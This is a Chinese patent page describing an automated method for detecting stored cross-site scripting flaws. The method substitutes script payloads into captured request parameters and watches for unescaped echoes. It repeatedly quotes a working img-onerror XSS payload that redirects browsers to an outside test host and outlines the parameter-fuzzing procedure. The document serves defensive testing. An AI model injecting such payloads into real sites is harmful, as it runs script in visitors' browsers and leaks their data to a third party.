CN104573520B - 检测常驻式跨站脚本漏洞的方法和装置 - Google Patents
检测常驻式跨站脚本漏洞的方法和装置 Download PDFInfo
- Publication number
- CN104573520B CN104573520B CN201310468933.9A CN201310468933A CN104573520B CN 104573520 B CN104573520 B CN 104573520B CN 201310468933 A CN201310468933 A CN 201310468933A CN 104573520 B CN104573520 B CN 104573520B
- Authority
- CN
- China
- Prior art keywords
- test
- test script
- script code
- page server
- web page
- Prior art date
- Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
- Active
Links
Classifications
-
- G—PHYSICS
- G06—COMPUTING; CALCULATING OR COUNTING
- G06F—ELECTRIC DIGITAL DATA PROCESSING
- G06F21/00—Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
- G06F21/50—Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
- G06F21/57—Certifying or maintaining trusted computer platforms, e.g. secure boots or power-downs, version controls, system software checks, secure updates or assessing vulnerabilities
- G06F21/577—Assessing vulnerabilities and evaluating computer system security
-
- G—PHYSICS
- G06—COMPUTING; CALCULATING OR COUNTING
- G06F—ELECTRIC DIGITAL DATA PROCESSING
- G06F2221/00—Indexing scheme relating to security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
- G06F2221/03—Indexing scheme relating to G06F21/50, monitoring users, programs or devices to maintain the integrity of platforms
- G06F2221/033—Test or assess software
Abstract
本发明提供了一种检测常驻式跨站脚本漏洞的方法,所述方法包括:向网页服务器发送包含测试脚本代码的测试请求包;所述测试脚本代码在所述网页服务器上对应网页存储;向所述网页服务器发送访问所述网页的访问请求;接收所述网页服务器根据所述访问请求返回的访问响应包;若所述访问响应包中包含所述测试脚本代码,则执行所述测试脚本代码,根据所述测试脚本代码发出漏洞信息。本发明提供的检测常驻式跨站脚本漏洞的方法,若访问响应包中存在测试脚本代码,说明存在常驻式跨站脚本漏洞,则执行该测试脚本代码,从而根据该测试脚本代码发出漏洞信息。整个检测过程自动化实现,检测效率高。本发明还提供了一种检测常驻式跨站脚本漏洞的装置。
Description
技术领域
本发明涉及计算机安全技术领域,特别是涉及一种检测常驻式跨站脚本漏洞的方法和装置。
背景技术
跨站脚本(XSS,Cross Site Scripting)漏洞是一种经常出现在网页中的计算机安全漏洞,它允许恶意攻击者往网页里插入恶意代码,当用户浏览该页之时,嵌入其中的恶意代码会被触发,从而达到恶意用户的特殊目的,比如盗取敏感信息等。常驻式跨站脚本漏洞是跨站脚本漏洞的其中一种,它允许将恶意代码存储在网页服务器中,之后用户访问该网页服务器的网页时,该网页会从网页服务器拉取恶意代码并执行,危害极大。
然而,目前还没有行之有效的自动检测常驻式跨站脚本漏洞的方法,一般通过人工查看源代码来检测是否存在常驻式跨站脚本漏洞,检测效率极低。
发明内容
基于此,有必要针对人工检测常驻式跨站脚本漏洞检测效率低的技术问题,提供一种检测常驻式跨站脚本漏洞的方法和装置。
一种检测常驻式跨站脚本漏洞的方法,所述方法包括:
向网页服务器发送包含测试脚本代码的测试请求包;所述测试脚本代码在所述网页服务器上对应网页存储;
向所述网页服务器发送访问所述网页的访问请求;
接收所述网页服务器根据所述访问请求返回的访问响应包;
若所述访问响应包中包含所述测试脚本代码,则执行所述测试脚本代码,根据所述测试脚本代码发出漏洞信息。
一种检测常驻式跨站脚本漏洞的装置,所述装置包括:
测试请求模块,用于向网页服务器发送包含测试脚本代码的测试请求包;所述测试脚本代码在所述网页服务器上对应网页存储;
访问请求模块,用于向所述网页服务器发送访问所述网页的访问请求;
响应包接收模块,用于接收所述网页服务器根据所述访问请求返回的访问响应包;
脚本执行模块,用于若所述访问响应包中包含所述测试脚本代码,则执行所述测试脚本代码,根据所述测试脚本代码发出漏洞信息。
上述检测常驻式跨站脚本漏洞的方法和装置,通过向网页服务器发送包含测试脚本代码的测试请求包,使得测试脚本代码在网页服务器上对应网页存储。然后向网页服务器发送访问网页的请求,接收网页服务器根据该访问请求返回的访问响应包。由于网页服务器接收到测试请求包后,有可能对其中的一些参数不进行转义处理,若网页服务器对测试脚本代码不进行转义处理就直接存储下来,则说明存在常驻式跨站脚本漏洞。因此若访问响应包中存在测试脚本代码,说明存在常驻式跨站脚本漏洞,则执行该测试脚本代码,从而根据该测试脚本代码发出漏洞信息。整个检测过程自动化实现,检测效率高。
附图说明
图1为一个实施例中检测常驻式跨站脚本漏洞的方法的流程示意图;
图2为一个实施例中生成测试请求包的步骤的流程示意图;
图3为一个实施例中执行测试脚本代码,根据测试脚本代码发出漏洞信息的步骤的流程示意图;
图4为一个具体应用场景中该检测常驻式跨站脚本漏洞的方法应用于测试终端中进行漏洞检测的示意图;
图5为一个实施例中检测常驻式跨站脚本漏洞的装置的结构框图;
图6为另一个实施例中检测常驻式跨站脚本漏洞的装置的结构框图;
图7为一个实施例中脚本执行模块的结构框图。
具体实施方式
为了使本发明的目的、技术方案及优点更加清楚明白,以下结合附图及实施例,对本发明进行进一步详细说明。应当理解,此处所描述的具体实施例仅仅用以解释本发明,并不用于限定本发明。
如图1所示,在一个实施例中,提供了一种检测常驻式跨站脚本漏洞的方法,该方法包括:
步骤102,向网页服务器发送包含测试脚本代码的测试请求包;测试脚本代码在网页服务器上对应网页存储。
测试请求包包含测试脚本代码,终端向网页服务器发送测试请求包,从而使得网页服务器在使用CGI(Common Gateway Interface,公共网关接口)程序处理测试请求包时,将测试脚本代码与网页对应存储。其中,测试脚本代码用于执行时发出漏洞信息。
这里的网页可以是网站中的一个页面,也可以是基于网页的网络应用的一个页面。由于网页服务器接收到测试请求包后,有可能对其中的一些参数不进行转义处理,若网页服务器收到测试脚本代码后不进行转义处理,直接将测试脚本代码存储下来,则说明存在常驻式跨站脚本漏洞。若网页服务器将测试脚本代码转义为文本信息,终端在收到该文本信息后,终端上的浏览器在处理该文本信息时只是将其作为文本处理,不会导致测试脚本代码的执行。
其中,转义是指将HTML(Hypertext Markup Language,超文本标记语言)代码中的特定字符转化为转义字符串(Escape Sequence)的过程,这些特定字符中的一些字符在HTML代码中有特殊的含义,比如“<”和“>”用来表示标签,当这些特定字符不是用来表示标签而是字符本身时,就需要将该特定字符转义为转义字符串。网页服务器将转义字符串发送给浏览器后,浏览器处理时将转义字符串显示为特定字符本身。转义字符串分成三部分:第一部分是一个&符号(Ampersand);第二部分是实体(Entity)名字或者是#加上实体编号;第三部分是一个分号。比如,要显示小于号“<”,转义字符串为“<”或者“<”。
步骤104,向网页服务器发送访问网页的访问请求。
终端可通过网页的URL(Uniform Resource Locator,统一资源定位符)向该URL对应的网页服务器发送访问请求。可在终端的浏览器中直接输入URL或者通过点击另一个网页的链接从而触发向网页服务器发送访问请求。当有多个网页时,可预先在文本文件或数据库中存储各个网页的URL,检测漏洞时,从文本文件或数据库中逐个读取各个网页的URL,从而向各个网页对应的网页服务器发送访问请求,以实现自动化检测常驻式跨站脚本漏洞。
步骤106,接收网页服务器根据访问请求返回的访问响应包。
网页服务器接收到终端发送的访问请求后,向终端返回访问响应包。若该网页中用到已存储的测试脚本代码或将测试脚本代码转义后得到的文本信息,则访问响应包中会包含该测试脚本代码或者该文本信息。
步骤108,若访问响应包中包含测试脚本代码,则执行测试脚本代码,根据测试脚本代码发出漏洞信息。
若访问响应包中包含测试脚本代码,说明网页服务器存储测试脚本代码时未对测试脚本代码进行转义处理,说明网页存在常驻式跨站脚本漏洞,则执行该测试脚本代码,根据该测试脚本代码发出漏洞信息。比如测试脚本代码执行时,弹出消息框,在消息框中显示“发现XSS漏洞”的消息,从而发出漏洞信息。
若访问响应包中包含将测试脚本代码转义后获得的文本信息,说明不存在常驻式跨站脚本漏洞,而且文本信息也不会作为脚本执行,则不会发出漏洞信息。
举例说明,若测试请求包中包含的测试脚本代码为:
<img src=#onerror=eval('window.location=\'http://att.isd.com/x.php\'')>
若网页服务器将该测试脚本代码进行转义处理,转义为文本信息:
<img src=#onerror=eval('window.location=\'http://att.isd.com/x.php\'')>
其中,“<”转义为“<;”,“'”转义为“';”,“>”转义为“>;”。终端收到该文本信息后,会直接按照文本进行处理,如在网页中显示该文本信息本身“<img src=#onerror=eval('window.location=\'http://att.isd.com/x.php\'')>”,而不会将该文本信息作为测试脚本代码执行。
在一个实施例中,漏洞信息包括存在漏洞的网页的标识、漏洞信息发送端的标识、检测到漏洞的浏览器标识、检测到漏洞的时间和存在漏洞的网页服务器地址中的至少一种。
其中,存在漏洞的网页的标识可以是存在漏洞的网页的URL,从而可将漏洞定位到具体的网页。漏洞信息发送端的标识可以是发出漏洞信息的终端的IP地址。检测到漏洞的浏览器标识可以是浏览器的名称、类型等,各个浏览器在显示网页时会有差别,获知浏览器标识有助于确定漏洞发生的原因。存在漏洞的网页服务器地址可以是该网页服务器的IP地址或域名等。
本实施例中,通过漏洞信息中的存在漏洞的网页的标识、漏洞信息发送端的标识、检测到漏洞的浏览器标识、检测到漏洞的时间和存在漏洞的网页服务器地址中的至少一种,可以对跨站脚本漏洞进行定位,便于开发人员对网页进行改进,消除常驻式跨站脚本漏洞。
上述检测常驻式跨站脚本漏洞的方法,通过向网页服务器发送包含测试脚本代码的测试请求包,使得测试脚本代码在网页服务器上对应网页存储。然后向网页服务器发送访问网页的请求,接收网页服务器根据该访问请求返回的访问响应包。由于网页服务器接收到测试请求包后,有可能对其中的一些参数不进行转义处理,若网页服务器对测试脚本代码不进行转义处理就直接存储下来,则说明存在常驻式跨站脚本漏洞。因此若访问响应包中存在测试脚本代码,说明存在常驻式跨站脚本漏洞,则执行该测试脚本代码,从而根据该测试脚本代码发出漏洞信息。整个检测过程自动化实现,检测效率高。
在一个实施例中,向网页服务器发送包含测试脚本代码的测试请求包的步骤之后还包括:接收网页服务器根据测试请求包返回的测试响应包;若测试响应包中包含测试脚本代码,则执行测试脚本代码,根据测试脚本代码发出漏洞信息。本实施例中,终端将包含测试脚本代码的测试请求包发送给网页服务器后,若网页服务器根据测试请求包返回的测试响应包中包含测试脚本代码,说明网页存在反射式跨站脚本漏洞,执行该测试脚本代码时,发出漏洞信息。可实现同时检测常驻式跨站脚本漏洞和反射式跨站脚本漏洞,检测效率高。
如图2所示,在一个实施例中,向网页服务器发送包含测试脚本代码的测试请求包的步骤之前,还包括生成测试请求包的步骤,包括:
步骤202,获取网页发送给网页服务器的原始请求包。
可通过监听网页与网页服务器的通信获取网页发送给网页服务器的原始请求包。也可以预先在网页服务器上监听CGI的数据收发从而获取到原始请求包后,存储在终端中。举例说明,获取的一个原始请求包内容如下:
“POST http://xxxx.xxxx.xx.com/proxy HTTP/1.1
Host:xxxx.xxxx.xx.com
Connection:keep-alive
Content-Length:245
X-Real-Url:http://yy.yyy.com/cgi-bin/emotion_cgi_publish_v6?g_tk=1691498332
Origin:http://xxxx.xxxx.xx.com
User-Agent:Mozilla/5.0(Windows NT6.2;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/30.0.1573.2Safari/537.36
Content-Type:application/x-www-form-urlencoded;charset=UTF-8
Accept:*/*
Referer:http://xxxx.xxxx.xx.com/123456789
Accept-Encoding:gzip,deflate,sdch
Avail-Dictionary:XprLfaXG
Accept-Language:zh-CN,zh;q=0.8
Cookie:randomSeed=339954;
syn_tweet_verson=1&pic_template=&richtype=&richval=&special_url=&subri chtype=&who=1&con=test222&feedversion=1&ver=1&ugc_right=1&to_tweet=0&to_sign=0&hostuin=123456789&code_version=1&format=fs&qzreferrer=http%3A%2F%2Fxxxx.xxxx.xx.com%2F123456789”
步骤204,检测原始请求包,确定原始请求包中的参数。
在原始请求包中,部分参数具有固定格式,比如“参数名=参数”,从而可以通过这种固定格式确定原始请求包中的部分参数。还可以根据先验知识通过在原始请求包中查找一些字段来确定参数,比如Referer(Referer是HTTP(hypertext transport protocol,超文本传送协议)协议中头信息中的一部分,当浏览器向网页服务器发送请求的时候,一般会带上Referer,告诉网页服务器请求是从哪个页面链接过来的)字段。
举例说明,以下在原始请求包的基础上,对原始请求包中的参数进行了标注,其中每一对§符号之间的字符串为确定的参数,比如参数可以为“UTF-8”、“123456789”等。
“POST http://xxxx.xxxx.xx.com/proxy HTTP/1.1
Host:xxxx.xxxx.xx.com
Connection:keep-alive
Content-Length:245
X-Real-Url:http://yy.yyy.com/cgi-bin/emotion_cgi_publish_v6?g_tk=§1691498332§
Origin:http://xxxx.xxxx.xx.com
User-Agent:Mozilla/5.0(Windows NT6.2;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/30.0.1573.2Safari/537.36
Content-Type:application/x-www-form-urlencoded;charset=§UTF-8§
Accept:*/*
Referer:§http://xxxx.xxxx.xx.com/123456789§
Accept-Encoding:gzip,deflate,sdch
Avail-Dictionary:XprLfaXG
Accept-Language:zh-CN,zh;q=§0.8§
Cookie:randomSeed=§339954;§
syn_tweet_verson=§1§&pic_template=§§&richtype=§§&richval=§§&special_url=§§&subrichtype=§§&who=§1§&con=§test222§&feedversion=§1§&ver=§1§&ugc_right=§1§&to_tweet=§0§&to_sign=§0§&hostuin=§123456789§&code_version=§1§&format=§fs§&qzreferrer=§http%3A%2F%2Fxxxx.xxxx.xx.com%2F123456789§”
步骤206,用测试脚本代码替换原始请求包中的参数,获得测试请求包。
确定了参数后,用测试脚本代码替换原始请求包中的参数,从而获得测试请求包。比如,用测试脚本代码“<img src=#onerror=eval('window.location=\'http://att.isd.com/x.php\'')>”替换“X-Real-Url:http://yy.yyy.com/cgi-bin/emotion_cgi_publish_v6?g_tk=1691498332”中的“1691498332”,从而在获得的测试请求包包括“X-Real-Url:http://yy.yyy.com/cgi-bin/emotion_cgi_publish_v6?g_tk=<img src=#onerror=eval('window.location=\'http://att.isd.com/x.php\'')>”。
本实施例中,通过获取原始请求包,确定原始请求包中的参数,进而使用测试脚本代码替换原始请求包中的参数,获得测试请求包,可实现自动构造测试请求包,提高检测漏洞的效率。
在一个实施例中,步骤206包括:用测试脚本代码逐个替换原始请求包中的每个参数,获得对应每个参数的多个测试请求包。
当测试脚本代码为多个时,可将多个测试脚本代码存储在本地文件或本地数据库中,比如每行存储一个测试脚本代码。然后逐个从本地文件或本地数据库中取出测试脚本代码,用取出的测试脚本代码替换同一参数;当所有测试脚本代码替换完毕后,再逐个从本地文件或本地数据库中取出测试脚本代码替换下一个参数,直至替换完所有参数。
本实施例中,由于替换原始请求包中的参数可能导致生成的测试请求包无法通过网页服务器的验证,从而导致测试脚本代码无法存储在网页服务器上,若一个测试请求包中包含多个替换了参数的测试脚本代码,则该测试请求包无法通过网页服务器的验证的可能性很大。相反,逐个替换原始请求包中的每个参数,获得对应每个参数的多个测试请求包,可以提高测试请求包通过验证的可能。而且得到对应每个参数的多个测试请求包有助于确定具体哪个参数会导致常驻式跨站脚本漏洞。
如图3所示,在一个实施例中,执行测试脚本代码,根据测试脚本代码发出漏洞信息的步骤,具体包括:
步骤302,执行测试脚本代码,得到测试服务器的地址标识。
测试服务器的地址标识,可以是测试服务器的URL或者IP地址。测试脚本代码中可以包含测试服务器的地址标识,从而在执行测试脚本代码时,从测试脚本代码中得到测试服务器的地址标识。也可以通过执行测试脚本代码,从本地或通过网络获取测试服务器的地址标识。
步骤304,根据测试服务器的地址标识向测试服务器发送漏洞信息。
终端得到测试服务器的地址标识后,便可以通过该测试服务器的地址标识访问测试服务器,从而将漏洞信息发送给测试服务器。测试服务器接收到漏洞信息后也可以向终端返回响应代码,终端通过该响应代码进行后续的动作,比如生成漏洞检测日志并存储。
举例说明,若测试脚本代码为“<img src=#onerror=eval('window.location=\'http://att.isd.com/x.php\'')>”,执行该测试脚本代码时,由于src指向的源不存在,则加载图片出错,导致触发onerror事件(onerror事件会在文档或图像加载过程中发生错误时被触发),得到测试服务器的地址标识为“http://att.isd.com”,且测试服务器上存在预设资源“x.php”。通过访问测试服务器的预设资源“x.php”,向测试服务器发送访问预设资源“x.php”的请求包,该请求包中就包含漏洞信息。
具体地,漏洞信息中的存在漏洞的网页的标识可以通过请求包中的Referer字段获得;漏洞信息发送端的标识可以通过请求包中的RemoteAddress(远程地址)字段获得;检测到漏洞的浏览器标识可以通过请求包中的UserAgent(用户代理,用来检查浏览页面的访问者在用什么操作系统(包括版本号)、浏览器(包括版本号)和用户个人偏好)字段获得。
在一个实施例中,测试服务器收到漏洞信息后,将漏洞信息存储在测试服务器的预设文本或预设数据库中,对漏洞信息进行汇总。测试服务器还可以通过邮件或短消息等将漏洞信息发送给预设的联系人。
本实施例中,终端执行测试脚本代码,得到测试服务器的地址标识后,根据得到的测试服务器的地址标识向测试服务器发送漏洞信息,可实现对漏洞信息的统一管理。还可以通过多个终端对多个网页进行漏洞检测,各个终端发现常驻式跨站脚本漏洞后统一将漏洞信息发送到测试服务器,从而使得开发人员能够通过测试服务器获知各个终端上测试的网页是否存在漏洞,提高了检测常驻式跨站脚本漏洞的效率,节省了人力,从而节约了开发成本。
下面以一个具体的应用场景来说明上述检测常驻式跨站脚本漏洞的方法的原理。该应用场景以该检测常驻式跨站脚本漏洞的方法应用于可连接网络的测试终端402中来举例说明。如图4所示,具体过程如下:
(1)测试终端402获取网页发送给网页服务器404的原始请求包,用测试脚本代码替换原始请求包中的参数,获得测试请求包,然后测试终端402向网页服务器404发送包含测试脚本代码的测试请求包。
(2)网页服务器404接收到测试终端402发送的测试请求包后,对测试请求包进行处理,将测试脚本代码存储下来。若网页服务器404不对测试脚本进行转义处理,直接将测试脚本代码存储下来,就说明网页存在常驻式跨站脚本漏洞;若网页服务器404对测试脚本进行了转义处理,将转义得到的文本信息存储下来,网页就不存在常驻式跨站脚本漏洞。
(3)然后测试终端402或者用户终端408向网页服务器404发送访问网页的请求,并接收网页服务器404返回的访问响应包。如果网页中用到测试脚本代码或者转义后的文本信息,访问响应包中会包含该测试脚本代码或者文本信息。如果测试终端402或者用户终端408接收到的响应包中包含测试脚本代码,该测试脚本代码会被执行,从而测试终端402或者用户终端408会向测试服务器406发送漏洞信息,说明网页存在漏洞。如果测试终端402或者用户终端408接收到的响应包中包含文本信息,则只会将文本信息当做文本进行处理,不会向测试服务器406发送漏洞信息。
(4)测试服务器406接收到测试终端402或者用户终端408发送的漏洞信息后,将漏洞信息存储在测试服务器406上,并向预设的联系人发送邮件,告知发现常驻式跨站脚本漏洞。
如图5所示,在一个实施例中,提供了一种检测常驻式跨站脚本漏洞的装置,包括测试请求模块502、访问请求模块504、响应包接收模块506和脚本执行模块508。
测试请求模块502用于向网页服务器发送包含测试脚本代码的测试请求包;测试脚本代码在网页服务器上对应网页存储。
测试请求包包含测试脚本代码,测试请求模块502用于向网页服务器发送测试请求包,从而使得网页服务器在使用CGI程序处理测试请求包时,将测试脚本代码与网页对应存储。其中,测试脚本代码用于执行时发出漏洞信息。
访问请求模块504用于向网页服务器发送访问网页的访问请求。
访问请求模块504可用于通过网页的URL向该URL对应的网页服务器发送访问请求。当有多个网页时,可预先在文本文件或数据库中存储各个网页的URL,检测漏洞时,访问请求模块504用于从文本文件或数据库中逐个读取各个网页的URL,从而向各个网页对应的网页服务器发送访问请求,以实现自动化检测常驻式跨站脚本漏洞。
响应包接收模块506用于接收网页服务器根据访问请求返回的访问响应包。
网页服务器向响应包接收模块506返回访问响应包。若该网页中用到已存储的测试脚本代码或将测试脚本代码转义后得到的文本信息,则访问响应包中会包含该测试脚本代码或者该文本信息。
脚本执行模块508用于若访问响应包中包含测试脚本代码,则执行测试脚本代码,根据测试脚本代码发出漏洞信息。
若访问响应包中包含测试脚本代码,说明网页存在常驻式跨站脚本漏洞,则脚本执行模块508用于执行该测试脚本代码,根据该测试脚本代码发出漏洞信息。
若访问响应包中包含将测试脚本代码转义后获得的文本信息,说明不存在常驻式跨站脚本漏洞,而且文本信息也不会作为脚本执行,不会发出漏洞信息。
上述检测常驻式跨站脚本漏洞的装置,测试请求模块502用于向网页服务器发送包含测试脚本代码的测试请求包,使得测试脚本代码在网页服务器上对应网页存储。访问请求模块504用于向网页服务器发送访问网页的请求,响应包接收模块506用于接收网页服务器根据该访问请求返回的访问响应包。若网页服务器对测试脚本代码不进行转义处理就直接存储下来,说明存在常驻式跨站脚本漏洞。因此若访问响应包中存在测试脚本代码,说明存在常驻式跨站脚本漏洞,则脚本执行模块508用于执行该测试脚本代码,从而根据该测试脚本代码发出漏洞信息。整个检测过程自动化实现,检测效率高。
如图6所示,在一个实施例中,该检测常驻式跨站脚本漏洞的装置还包括原始请求包获取模块510、参数确定模块512和测试请求包生成模块514。
原始请求包获取模块510用于获取网页发送给网页服务器的原始请求包。
原始请求包获取模块510可用于通过监听网页与网页服务器的通信获取网页发送给网页服务器的原始请求包。也可以预先在网页服务器上监听CGI的数据收发从而获取到原始请求包后,存储在本地,需要时由原始请求包获取模块510从本地读取。
参数确定模块512用于检测原始请求包,确定原始请求包中的参数。
在原始请求包中,部分参数具有固定格式,比如“参数名=参数”,参数确定模块512可以用于通过这种固定格式确定原始请求包中的部分参数。参数确定模块512还可以用于根据先验知识通过在原始请求包中查找一些字段来确定参数,比如Referer字段。
测试请求包生成模块514用于用测试脚本代码替换原始请求包中的参数,获得测试请求包。
参数确定模块512确定了参数后,测试请求包生成模块514用于用测试脚本代码替换原始请求包中的参数,从而获得测试请求包。
本实施例中,原始请求包获取模块510用于获取原始请求包,参数确定模块512用于确定原始请求包中的参数,进而测试请求包生成模块514用于使用测试脚本代码替换原始请求包中的参数,获得测试请求包,可实现自动构造测试请求包,提高检测漏洞的效率。
在一个实施例中,测试请求包生成模块514还用于用测试脚本代码逐个替换原始请求包中的每个参数,获得对应每个参数的多个测试请求包。
当测试脚本代码为多个时,可将多个测试脚本代码存储在本地文件或本地数据库中,比如每行存储一个测试脚本代码。然后测试请求包生成模块514用于从本地文件或本地数据库中逐个取出测试脚本代码,用取出的测试脚本代码替换同一参数;当所有测试脚本代码替换完毕后,再逐个从本地文件或本地数据库中取出测试脚本代码替换下一个参数,直至替换完所有参数。
本实施例中,由于测试请求包生成模块514用于替换原始请求包中的参数可能导致生成的测试请求包无法通过网页服务器的验证,从而导致测试脚本代码无法存储在网页服务器上,若一个测试请求包中包含多个替换了参数的测试脚本代码,则该测试请求包无法通过网页服务器的验证的可能性很大。相反,逐个替换原始请求包中的每个参数,获得对应每个参数的多个测试请求包,可以提高测试请求包通过验证的可能。而且得到对应每个参数的多个测试请求包有助于确定具体哪个参数会导致常驻式跨站脚本漏洞。
在一个实施例中,响应包接收模块506还用于接收网页服务器根据测试请求包返回的测试响应包。
脚本执行模块508还用于若测试响应包中包含测试脚本代码,则执行测试脚本代码,根据测试脚本代码发出漏洞信息。
本实施例中,测试请求模块502用于将包含测试脚本代码的测试请求包发送给网页服务器,响应包接收模块506用于接收根据测试请求包返回的测试响应包,若该测试响应包中包含测试脚本代码,说明网页存在反射式跨站脚本漏洞,脚本执行模块508用于执行该测试脚本代码,发出漏洞信息。可实现同时检测常驻式跨站脚本漏洞和反射式跨站脚本漏洞,检测效率高。
如图7所示,在一个实施例中,脚本执行模块508包括地址标识获取模块508a和发送模块508b。
地址标识获取模块508a用于执行测试脚本代码,得到测试服务器的地址标识。
测试服务器的地址标识,可以是测试服务器的URL或者IP地址等。测试脚本代码中可以包含测试服务器的地址标识,从而地址标识获取模块508a用于执行测试脚本代码时,从测试脚本代码中得到测试服务器的地址标识。地址标识获取模块508a也可以通过执行测试脚本代码,从本地或通过网络获取测试服务器的地址标识。
发送模块508b用于根据测试服务器的地址标识向测试服务器发送漏洞信息。
地址标识获取模块508a得到测试服务器的地址标识后,发送模块508b便可用于通过该测试服务器的地址标识访问测试服务器,从而将漏洞信息发送给测试服务器。
本实施例中,地址标识获取模块508a用于执行测试脚本代码,得到测试服务器的地址标识后,发送模块508b用于根据得到的测试服务器的地址标识向测试服务器发送漏洞信息,可实现对漏洞信息的统一管理,提高了检测常驻式跨站脚本漏洞的效率,节省了人力,从而节约了开发成本。
在一个实施例中,漏洞信息包括存在漏洞的网页的标识、漏洞信息发送端的标识、检测到漏洞的浏览器标识、检测到漏洞的时间和存在漏洞的网页服务器地址中的至少一种。
本领域普通技术人员可以理解实现上述实施例方法中的全部或部分流程,是可以通过计算机程序来指令相关的硬件来完成,所述的程序可存储于一计算机可读取存储介质中,该程序在触发时,可包括如上述各方法的实施例的流程。其中,所述的存储介质可为磁碟、光盘、只读存储记忆体(Read-Only Memory,ROM)或随机存储记忆体(Random AccessMemory,RAM)等。
以上所述实施例仅表达了本发明的几种实施方式,其描述较为具体和详细,但并不能因此而理解为对本发明专利范围的限制。应当指出的是,对于本领域的普通技术人员来说,在不脱离本发明构思的前提下,还可以做出若干变形和改进,这些都属于本发明的保护范围。因此,本发明专利的保护范围应以所附权利要求为准。
Claims (14)
1.一种检测常驻式跨站脚本漏洞的方法,所述方法包括:
向网页服务器发送包含测试脚本代码的测试请求包;所述测试脚本代码在所述网页服务器上对应网页存储;
向所述网页服务器发送访问所述网页的访问请求;
接收所述网页服务器根据所述访问请求返回的访问响应包;
若所述访问响应包中包含所述测试脚本代码,则执行所述测试脚本代码,根据所述测试脚本代码发出漏洞信息;
若所述访问响应包中包含将所述测试脚本代码转义后获得的文本信息,则判定所述网页服务器不存在所述常驻式跨站脚本漏洞。
2.根据权利要求1所述的方法,其特征在于,所述向网页服务器发送包含测试脚本代码的测试请求包之前,还包括:
获取网页发送给网页服务器的原始请求包;
检测所述原始请求包,确定所述原始请求包中的参数;
用所述测试脚本代码替换所述原始请求包中的所述参数,获得测试请求包。
3.根据权利要求2所述的方法,其特征在于,所述用所述测试脚本代码替换所述原始请求包中的所述参数,获得测试请求包,包括:
用所述测试脚本代码逐个替换所述原始请求包中的每个所述参数,获得对应每个所述参数的多个测试请求包。
4.根据权利要求1所述的方法,其特征在于,所述向网页服务器发送包含测试脚本代码的测试请求包之后,还包括:
接收所述网页服务器根据所述测试请求包返回的测试响应包;
若所述测试响应包中包含所述测试脚本代码,则执行所述测试脚本代码,根据所述测试脚本代码发出漏洞信息。
5.根据权利要求1所述的方法,其特征在于,所述执行所述测试脚本代码,根据所述测试脚本代码发出漏洞信息,包括:
执行所述测试脚本代码,得到测试服务器的地址标识;
根据所述测试服务器的地址标识向所述测试服务器发送漏洞信息。
6.根据权利要求1所述的方法,其特征在于,所述漏洞信息包括存在漏洞的网页的标识、漏洞信息发送端的标识、检测到漏洞的浏览器标识、检测到漏洞的时间和存在漏洞的网页服务器地址中的至少一种。
7.一种检测常驻式跨站脚本漏洞的装置,其特征在于,所述装置包括:
测试请求模块,用于向网页服务器发送包含测试脚本代码的测试请求包;所述测试脚本代码在所述网页服务器上对应网页存储;
访问请求模块,用于向所述网页服务器发送访问所述网页的访问请求;
响应包接收模块,用于接收所述网页服务器根据所述访问请求返回的访问响应包;
脚本执行模块,用于若所述访问响应包中包含所述测试脚本代码,则执行所述测试脚本代码,根据所述测试脚本代码发出漏洞信息;若所述访问响应包中包含将所述测试脚本代码转义后获得的文本信息,则判定所述网页服务器不存在所述常驻式跨站脚本漏洞。
8.根据权利要求7所述的装置,其特征在于,所述装置还包括:
原始请求包获取模块,用于获取网页发送给网页服务器的原始请求包;
参数确定模块,用于检测所述原始请求包,确定所述原始请求包中的参数;
测试请求包生成模块,用于用所述测试脚本代码替换所述原始请求包中的所述参数,获得测试请求包。
9.根据权利要求8所述的装置,其特征在于,所述测试请求包生成模块还用于用所述测试脚本代码逐个替换所述原始请求包中的每个所述参数,获得对应每个所述参数的多个测试请求包。
10.根据权利要求7所述的装置,其特征在于,所述响应包接收模块还用于接收所述网页服务器根据所述测试请求包返回的测试响应包;
所述脚本执行模块还用于若所述测试响应包中包含所述测试脚本代码,则执行所述测试脚本代码,根据所述测试脚本代码发出漏洞信息。
11.根据权利要求7所述的装置,其特征在于,所述脚本执行模块包括:
地址标识获取模块,用于执行所述测试脚本代码,得到测试服务器的地址标识;
发送模块,用于根据所述测试服务器的地址标识向所述测试服务器发送漏洞信息。
12.根据权利要求7所述的装置,其特征在于,所述漏洞信息包括存在漏洞的网页的标识、漏洞信息发送端的标识、检测到漏洞的浏览器标识、检测到漏洞的时间和存在漏洞的网页服务器地址中的至少一种。
13.一种计算机可读存储介质,存储有计算机程序,所述计算机程序被处理器执行时,使得所述处理器执行如权利要求1至6中任一项所述方法的步骤。
14.一种计算机设备,包括存储器和处理器,所述存储器存储有计算机程序,所述计算机程序被所述处理器执行时,使得所述处理器执行如权利要求1至6中任一项所述方法的步骤。
Priority Applications (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN201310468933.9A CN104573520B (zh) | 2013-10-09 | 2013-10-09 | 检测常驻式跨站脚本漏洞的方法和装置 |
Applications Claiming Priority (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN201310468933.9A CN104573520B (zh) | 2013-10-09 | 2013-10-09 | 检测常驻式跨站脚本漏洞的方法和装置 |
Publications (2)
Publication Number | Publication Date |
---|---|
CN104573520A CN104573520A (zh) | 2015-04-29 |
CN104573520B true CN104573520B (zh) | 2019-02-01 |
Family
ID=53089558
Family Applications (1)
Application Number | Title | Priority Date | Filing Date |
---|---|---|---|
CN201310468933.9A Active CN104573520B (zh) | 2013-10-09 | 2013-10-09 | 检测常驻式跨站脚本漏洞的方法和装置 |
Country Status (1)
Country | Link |
---|---|
CN (1) | CN104573520B (zh) |
Families Citing this family (9)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN104967542B (zh) * | 2015-06-23 | 2018-05-25 | 深圳市腾讯计算机系统有限公司 | 一种移动端页面的测试方法、装置和系统 |
CN106341370B (zh) * | 2015-07-07 | 2020-11-24 | 北京京东尚科信息技术有限公司 | 一种防御跨站请求伪造攻击的方法及装置 |
CN106548075B (zh) * | 2015-09-22 | 2020-03-27 | 阿里巴巴集团控股有限公司 | 漏洞检测方法和装置 |
